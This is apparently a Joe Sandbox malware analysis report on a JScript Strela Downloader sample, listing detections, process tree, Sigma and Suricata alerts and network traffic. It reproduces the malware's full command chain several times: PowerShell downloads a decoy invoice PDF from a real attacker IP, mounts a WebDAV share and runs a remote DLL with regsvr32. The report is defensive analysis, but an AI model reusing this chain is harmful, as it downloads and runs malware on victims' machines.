Edit tour

Windows Analysis Report
21787281582160623337.js

Overview

General Information

Sample name:	21787281582160623337.js
Analysis ID:	1587810
MD5:	27558b57e81ab5dd407fcf66a363a205
SHA1:	11c5d7d75834b4203c25e847d59c20bd287d68bf
SHA256:	89adf60022c81e869b40287d61e9f7d10e57f10bbd6ff4f14e84f351f768565b
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1612 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1384 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3796 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4540 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1612 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5124 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7108 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

AcroCEF.exe (PID: 4668 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1520,i,17626756420532321728,2154288866417358527,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 1344 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1612	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1384, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3796, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1384, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3796, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", ProcessId: 1612, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7108, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 1384, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 1384, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 1384, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 1384, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 1384, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", ProcessId: 1612, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1384, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3796, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5124, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7108, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1344, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5124, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7108, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 1384, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:11:34.499073+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:11:31.732484+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 21787281582160623337.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 21787281582160623337.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:11:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

